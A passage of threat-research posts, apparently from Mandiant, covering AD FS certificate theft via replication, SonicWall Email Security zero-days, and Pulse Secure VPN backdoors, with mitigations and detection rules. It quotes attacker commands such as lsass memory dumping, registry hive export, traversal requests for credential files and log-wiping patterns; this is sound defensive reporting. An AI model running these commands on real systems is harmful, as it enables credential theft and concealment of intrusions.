Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate. First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files. With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate. Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port. The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system. Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server. Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server. Altogether, this makes the technique both much easier to execute and much harder to detect. The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement. Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server. Figure 4: POC code output Mitigations The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP. To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation. Set-NetFirewallRule -DisplayName “AD FS HTTP Services (TCP-In)” -RemoteAddress <ADFS1 IP address>,<ADFS2 IP Address> If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one. New-NetFirewallRule -DisplayName “Allow ADFS Servers TCP 80″ -Direction Inbound -Action Allow -Protocol TCP -LocalPort 80 -RemoteAddress <ADFS1 IPAddress >,<ADFS2 IPAddress> Figure 5: Windows Firewall – Allow ADFS Server – TCP 80 Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity. alert tcp any any -> any 80 (msg:”AD FS Replication”; flow:established, to_server; content:”POST”; http_method; content:”adfs/services/policystoretransfer”; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;) Figure 6: Sample snort rule Acknowledgements Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections. • Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise by Josh Fleischer on April 20, 2021 at 9:00 pm In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network. The vulnerabilities are being tracked in the following CVEs: CVE-2021-20021 9.8 Unauthorized administrative account creation CVE-2021-20022 7.2 Post-authentication arbitrary file upload CVE-2021-20023 4.9 Post-authentication arbitrary file read Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release. More information can be found by visiting the KB article published by SonicWall. All patches, upgrades, and hotfixes are available to download on the MySonicWall site. Overview Figure 1: SonicWall Email Security ecosystem overview (via SonicWall) SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution. Figure 2: Sample SonicWall Email Security login page Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces. Investigation In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised. The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself. When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data. We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell: cmd.exe /c “echo “” > “C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json Figure 3: The Adversary clearing existing entries in the current “webui.json” log This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked. Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host. Vulnerabilities CVE-2021-20021 Unauthenticated administrative access through improperly secured API endpoint The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU). https://<SonicWall ES host>/createou?data=<XML HERE> Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation Requests to this form, however, were not verified to require previous authentication to the appliance. Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator. CVE-2021-20022 Arbitrary file upload through post-authenticated “branding” feature Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as “branding” which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells. Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5. Figure 5: Example ZIP archive containing a Zip Slip web shell It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk’s research on the topic, they exist within the many code libraries from which applications have been built. CVE-2021-20023 Directory-traversal leads to arbitrary file read in post-authenticated “branding” feature Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in “branding” feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request. https://<SonicWall ES host>/dload_apps?action=<any value>&path=..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcalc.exe&id=update Figure 6: An example web request which results in downloading the Windows calculator While the working directory of this branding feature is <SonicWall ES install path>\data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed. Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions: Creation of a new Administrator account on the SonicWall ES device Exposure of the hashed passwords for existing, locally configured Administrative accounts The creation of a web shell in an arbitrary directory Real-time debugging of exploitation success and failure Post-Exploitation Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application’s “branding” feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\data\multi_accounts.xml and <SonicWall ES install path>\data\multi_ldap.xml, respectively (Figure 7). GET /dload_apps?action=REDACTED&path=..%2Fmulti_accounts.xml&id=update GET /dload_apps?action=REDACTED&path=..%2Fmulti_ldap.xml&id=update Figure 7: HTTP GET requests exploiting CVE-2021-20023 These files contained details about existing accounts as well as Active Directory credentials used by the application. Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel’s “branding” page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES install path>\Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\. BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8). Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account. After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim’s network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product. We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9. rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass PID> c:\windows\temp\TS_LAS.dmp full rundll32.exe C:\windows\system32\comsvcs.dll MiniDump <Tomcat PID> C:\windows\temp\TS_FF9DG.dmp full Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst. Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application. After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain. We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft’s DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment. Attribution Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown. Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN. For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors. Investigation & Monitoring Tips Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise: Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe The creation or existence of web shells on a server hosting SonicWall Email Security In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity. Evidence of malicious web requests and their values may be identifiable in the following log files: The Apache Tomcat logs:C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs The SonicWall application logs:C:\Program Files\SonicWallES\logs\webUI\webui.json Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files: The administration user account file: C:\Program Files\SonicWallES\data\multi_accounts.xml Additional user account files that may have been created in the following directories: C:\Program Files\SonicWallES\data\perhost C:\Program Files\SonicWallES\data\perldap C:\Program Files\SonicWallES\data\perou Branding related zip files in any of the subdirectories of the following directory: C:\Program Files\SonicWallES\data\branding Detecting the Techniques FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary. Product Signature FireEye Endpoint Security RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY) SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY) WEB SERVER ECHO REDIRECT (METHODOLOGY) WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY) FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware File Scanning FireEye Malware File Storage Scanning FE_PUP_Exploit_Linux_ZipSlip_1 FE_Exploit_Win_ZipSlip_1 FE_Trojan_ZIP_Generic_1 FE_Webshell_JSP_BEHINDER_1 FEC_Webshell_JSP_BEHINDER_1 Webshell.JSP.BEHINDER Webshell.JSP.BEHINDER.MVX FireEye Helix METHODOLOGY – LFI [Null-Byte URI] WMIEXEC UTILITY [Args] WINDOWS METHODOLOGY [Unusual Web Server Child Process] Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions: IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability) IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7 IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2 Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. VID Name A101-563 Malicious File Transfer – BEHINDER, Download, Variant #1 A101-566 Web Shell Activity – BEHINDER, Basic Shell Interaction A101-564 Malicious File Transfer – Zip Slip, Download, EICAR Variant A101-565 Phishing Email – Malicious Attachment, Zip Slip, Generic Themed Lure Vulnerability Disclosure Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021. Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19. To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers. Acknowledgements SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson. • Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day by Dan Perez on April 20, 2021 at 2:00 pm Executive Summary Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances. This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells. The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector. Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021. Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process. Introduction Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families. The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity. Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners. As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted. Details Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment. In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893. We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following: Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem. Maintain persistence across VPN appliance general upgrades that are performed by the administrator. Unpatch modified files and delete utilities and scripts after use to evade detection. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression. In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this. Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex. SLOWPULSE During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details. SLOWPULSE Variant 1 This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker’s chosen backdoor password. LDAP Auth Bypass The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication. Figure 1: LDAP Auth Bypass RADIUS Two Factor Auth Bypass The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication. Figure 2: Radius-2FA Bypass SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker. Figure 3: ACE Auth Credential Log SLOWPULSE Variant 3 ACE Two Factor Auth Bypass This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication. Figure 4: ACE Auth Bypass Variant SLOWPULSE Variant 4 RealmSignin Two Factor Auth Bypass This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass. Figure 5: RealmSignIn 2FA Auth Bypass Attribution We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances. Mandiant is able to assess that: UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5 UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group. We do not have enough information about the use of LOCKPICK to make an attribution statement. UNC2630 UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group. Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets. APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia. As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform. In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers. Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs). APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S. Recommendations All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance. Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability. Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page. Detections and Mitigations 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc HARDPULSE contains an embedded ‘recovery’ URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file. 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials: /tmp/dsactiveuser.statementcounters /tmp/dsstartssh.statementcounters /tmp/dsserver-check.statementcounters cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging. a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1 Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent: Key Value REQUEST_METHOD POST HTTP_X_KEY <BackdoorKey> HTTP_X_CNT <RC4Key> HTTP_X_CMD <RC4Command> 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 PACEMAKER is saved at filepath /home/bin/memread Executed with commandline flags –t, -m, -s Attaches to victim processes with PTRACE and opens subfiles in /proc/ 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 THINBLOOD creates the files: /home/runtime/logs/log.events.vc1 /home/runtime/logs/log.events.vc2 /home/runtime/logs/log.access.vc1 /home/runtime/logs/log.access.vc2 Executes the system API with the mv command specifying one of the files above, targeting: /home/runtime/logs/log.access.vc0 /home/runtime/logs/log.events.vc0 Executes the rm command specify one of the .vc1 files above 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a SLIGHTPULSE uses /tmp/1 as command execution log All POST requests to meeting_testjs.cgi are suspicious POST parameters: cert, img, name are used by malicious logic Responses to the endpoint with the name parameter respond with no-cache and image/gif 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9 THINBLOOD execution of sed on the files: log.events.vc0 log.access.vc0 Log.admin.vc0 Sed patterns used: s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line: ./patcher input.bin output.bin backdoorkey e f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90 The sample uses the HTTP query parameter id and responds with HTTP headers “Cache-Control: no-cache\n” and “Content-type: text/html\n\n”. 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450 64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7 78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282 705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f Execute sed on PulseSecure system files Remounts filesystem as writable: system(“/bin/mount -o remount,rw /dev/root /”) Unexpected execution of other system commands such as tar, cp, rm MITRE ATT&CK Techniques The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717. T1003-OS Credential Dumping T1016-System Network Configuration Discovery T1021.001-Remote Desktop Protocol T1027-Obfuscated Files or Information T1036.005-Match Legitimate Name or Location T1048-Exfiltration Over Alternative Protocol T1049-System Network Connections Discovery T1053-Scheduled Task/Job T1057-Process Discovery T1059-Command and Scripting Interpreter T1059.003-Windows Command Shell T1070-Indicator Removal on Host T1070.001-Clear Windows Event Logs T1070.004-File Deletion T1071.001-Web Protocols T1082-System Information Discovery T1098-Account Manipulation T1105-Ingress Tool Transfer T1111-Two-Factor Authentication Interception T1133-External Remote Services T1134.001 Access Token Manipulation: Token Impersonation/Theft T1136-Create Account T1140-Deobfuscate/Decode Files or Information T1190-Exploit Public-Facing Application T1505.003-Web Shell T1518-Software Discovery T1554-Compromise Client Software Binary T1556.004-Network Device Authentication T1592.004 Gather Victim Host Information: Client Configurations T1562 Impair Defenses T1569.002-Service Execution T1574 Hijack Execution Flow T1600-Weaken Encryption Figure 6: MITRE ATT&CK Map Technical Annex SLIGHTPULSE The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to 